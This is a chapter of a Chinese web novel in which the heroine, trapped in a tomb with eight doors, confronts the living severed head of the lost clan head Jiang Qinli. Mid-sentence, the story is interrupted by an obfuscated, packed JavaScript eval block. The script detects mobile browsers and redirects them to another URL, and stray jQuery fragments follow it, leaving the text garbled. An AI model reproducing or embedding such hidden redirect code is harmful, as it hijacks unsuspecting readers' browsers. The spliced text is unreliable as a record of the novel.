28. 江家主

作品:《我的甲方是江神

    不过现在谢延最主要的还是思考怎么出去为主。


    她先是回到最开始落地的地方,抬头往上细看一会儿,她就放弃了原路返回的方式。


    一看那偏制的转轴结构谢延就知道那是一个单向的翻转门,上面的人能往下掉,但下面的人却死也上不去。


    她还一天没吃饭呢,没必要搁这耗着。


    一想到这一茬,谢延腹内便不由得一阵酸痛……都饿出胃酸了,真后悔刚才在上面干嘛不扒拉点贡品再躲起来,光顾着看江选去了。


    没法子,谢延只得继续独自在这片暗无天日的地方中寻觅出路。


    此处不是谢家宅院,她没有原身的记忆做外挂,只能自己摸索。


    这间暗室空间不小,看起来就跟现代密室逃脱的密室差不多,但布局空荡荡的,倒有种古墓主题那味。


    至少她确认,从落点到江柏石像之间的甬道是安全的,而甬道两侧有几扇门,谢延还没亲身试过,不明深浅。但她一看这些门的布局就知道有问题,也没急着开。


    谢延虽然没学过专业的机关设计,但好歹兼职过一段时间的密室逃生的npc,其实各中套路心里还是有点底的。


    这里一共八扇门,对称分布于甬道两边,一边四个。


    在古代,数字为八的有什么说法?这不典型的奇门遁甲求生门吗?


    也就是说,这八扇门里只有一扇是正确的,其余的若是误触,她可能怎么死的都不知道。


    可细看这八扇门的结构,至少表面一般无二,根本看不出个所以然来。


    而且有一个问题,照理说奇门遁甲的核心是八卦方位,生门位于东北角的艮宫这些都是常识,但这个地方的两两对齐布局,谁他妈看得出东北方所对之处?!


    就在谢延一门心思在想着怎么找生门出去时,却听到一阵极轻的叹息。


    “谁!”谢延心中警铃大震,马上进入防御状态。


    她警惕地向四周打量,却发现声音的来源竟是江柏那尊石像所在的地方。


    ??!


    谢延轻手轻脚上前查看,依旧没见到此处有一丝人影。


    总不能是石像在叹息?那更诡异了。


    但一想到在江神府中时她甚至都见过江神像眨眼并且走出来一个江柏的画面了,石像叹息似乎也不是什么不可能的事。


    于是谢延缓步走到石像面前,再次打量着石像的面容。


    根本就没什么变化。


    等到谢延都开始怀疑自己是不是饿出耳鸣时,又听此处一阵声响:“嘻嘻嘻——”


    这回她坚信自己没听错了,而且她还听到了声音的来源。


    就在——


    头顶!


    谢延猛地一抬头,眼前所见却让自己心中一惊。


    一颗男性的头颅正在天花板上望着自己。


    是的,没错,只有头。


    其实如果只是单纯一颗头的话,谢延见怪不怪,说白了不过是一坨肉罢了,讲得再冷血一点,这只不过是以碳元素为主拼凑的一个球状物。


    但很可惜,它偏偏不是。


    它偏偏是个眼睛嘴巴还在乱动的一颗头颅。


    谢延:“你……”


    那头颅双眼骨碌骨碌地转了几圈,笑吟吟道:“我什么?见到本家主还不跪拜!”


    家主?


    谁家家主?江家的?


    江家家主何须过得怎么……凄惨?原地cos路易十六。


    那人见谢延毫无反应,只当她是被自己给镇住了,继续嬉笑道:“怎么?拜倒在本家主的威严之下了?”


    它说着,谢延便注意到了对方的头发好像在肉眼可见地长长了!


    操!明明刚才还是正常的头发长短,为什么眨眼间就自己滑到谢延的面前了?!


    这不对吧?


    谢延急忙后退,她来到江府,江玉剑被扣留,现在她手头上也没带什么趁手的长兵,面对这么一个怪异的东西,她怎么敢硬碰硬?


    事实证明,谢延的判断是正确的——


    疯长的头发不知是受了什么术法,竟如钢筋铁骨般袭来,谢延堪堪躲过,却见那头发直凿地面,打出了斗大一个深坑,废石飞溅,虎得人一愣一愣!;


    这哪是头发,砸过来分明就是流星锤好吧?!


    谢延费力逃窜,可饶是她逃得再快,也还是敌不开四面八方涌过来的头发,几乎瞬息之间,谢延就被束缚住了。


    那人的头发一把环住谢延的脚裸,将她整个人倒挂起来,却是砸吧砸吧嘴,嫌弃道:“切,这么蠢!活该你会来这里!”


    谢延:“……不带这么人身攻击的吧?”


    也不知那人有没有听懂,它却是自言自语道:“弱者天生就是被强者围剿的份儿。”


    谢延嘴角抽抽,行呗,你强,你强你只剩个头。


    但她没有作死把这话说出来,却是试探性地一问:“这位……大哥?你何故于此呢?”


    那人眼神恍恍惚惚,不知是想到了什么东西,脸上的疯态减缓了几分,却是变成了一种愤恨的表情。


    “你是江钦平的儿子吧?”那人寒声询问,语气不容置喙。


    ?


    谢延一时间不知道该怎么回答。承认呢?听他语气好像跟江钦平有仇,可能一开口就被秒了;不承认呢?那她怎么说?总不能说自己是江神钦定的灵主吧?听说江家人都是一致排外的,好像这个回答同样非死不可。


    “喂!问你话呢?”那头颅见谢延半天不吭声,面上马上带着不耐。


    环住脚裸的头发收得更紧了几分,谢延被吊得更高了,离那颗头颅仅有几尺之差。


    谢延眨巴眨巴眼,倒吊时她的脑子充血,眼神有几分呆滞,但脑子还是清醒的,她正在仔细寻找着这颗头颅的破绽。


    其实细看这头不丑,如果忽略他的身体不谈,甚至可以说这人的面容还带着几分英气……而且瞧着这眉眼间,竟与江钦平有几分相似!


    而头颅眯着眼细细打量着谢延,嘴上却自言自语道:“不会真是个傻的吧?”


    “当然不是傻的。”谢延没好气道:“我是觉得你说我是江钦平的儿子……你骂得还怪脏的!”


    听到谢延的抱怨,那头颅寻思了一下,闷哼一声:“确实,江钦平那个不举的,生不出你这种货色。”


    谢延:“……”


    这人到底是跟江钦平有仇还是跟她有仇?


    正吐槽间,就见那颗头颅细细地看了谢延许久,问道:“臭小子,你说说,今夕何


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301988|197915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夕?”


    “第五十九举醒神节。”谢延一会儿扭扭脚腕,一会儿晃晃手臂,动来动去,最后双手抱臂,勉强找到一个稍微舒坦一些的姿势,虽然好受点,但依旧充血充得头昏脑涨的。


    “第五十九举……”那人倒没有注意到谢延的动作,只是反复默念这个数字,细细沉思,随即又癫狂大笑:“哈哈哈哈哈哈哈——”


    “九年了!”


    “没想到我——”他话音戛然而止,瞳孔骤缩,死死地盯着面前突发的异变!


    谢延趁着那人癫狂的空挡,不知从哪里摸出来一把匕首,直截了当地翻身割断缠在自己脚裸上的头发!


    落地瞬间,四面八方的头发再次袭来,谢延这次却是灵巧地躲过了。


    这回她逃得得心应手,还能有空档回头撒出一把飞石直削断袭来的头发。


    武学一个回合能摸清对方动向,两个回合能有所反抗,谢延深谙此道,这回不会再被捉了,稳稳当当地逃到甬道中——经过非常的观察,学谢延发现这人似乎不能到甬道上。


    所以她暂时脱离控制了。


    但方才被吊久了,头充血还没好,依旧恍恍惚惚。


    “九年了还不死,江钦骊,你命可真长呢!”谢延一站定,便回头对着那个人头喊道。


    与江钦平有仇,但长得又相像的江家家主,谢延能想到的就是他的冤种大哥。


    江家江钦平这辈一共四兄弟,江钦平排第二,而江钦骊,正是江钦平的大哥,据说九年前因为在醒神节钓鱼触怒神明,被引路鱼引到江底后失踪,至今都不知踪迹,世人只当他是死了,却不想落了这么个下场。


    人头似乎没料到谢延能猜出来自己的身份,也可能是太久没人喊过他的名字了,他瞠目结舌,愣怔了许久,一时间不知道该作何反应。


    但调整过来后,江钦骊眼神一戾:“你知道我是谁又如何?关键是你自己现在也出不去!”


    说着这人又开始近乎癫狂地尖笑着:“哈哈哈哈哈哈——”


    “不管你是谁,你来到这里就走到头了!我江钦骊泉下有伴儿,也不虚此行了!”


    或许是因为被困在这昏暗的地方太久了,江钦骊已经疯了。


    不过谢延更好奇的是对方为何只剩个头还能苟活九年?简直就是当代医学期间啊!


    但就算对方能再活五百年那也不关她的事了,谢延现在只想出去。


    她头也不回地往甬道深处走,准备继续研究这八扇门。


    江钦骊见谢延就这么直截了当地走了,心里正着急:“诶!”


    “你等等!”


    谢延继续往前走,脚步甚至加快了些……走快点,听说神经病会传染!


    “我告诉你我怎么来的!”


    “蹬蹬蹬——”的脚步声逐渐远去。


    “我知道怎么出去!”江钦骊歇斯底里地唤道。


    果不其然,谢延的脚下一顿。


    江钦骊见她似乎动摇,马上趁热打铁道:“我知道生门是哪……哎!!你跑什么!”


    他话未说完,谢延就走了,这回走得决绝,仿佛慢一秒都是对自己智商的亵渎。


    信他才有病,她又不傻,江钦骊要知道生门是哪个何须等九年?自己早跑了!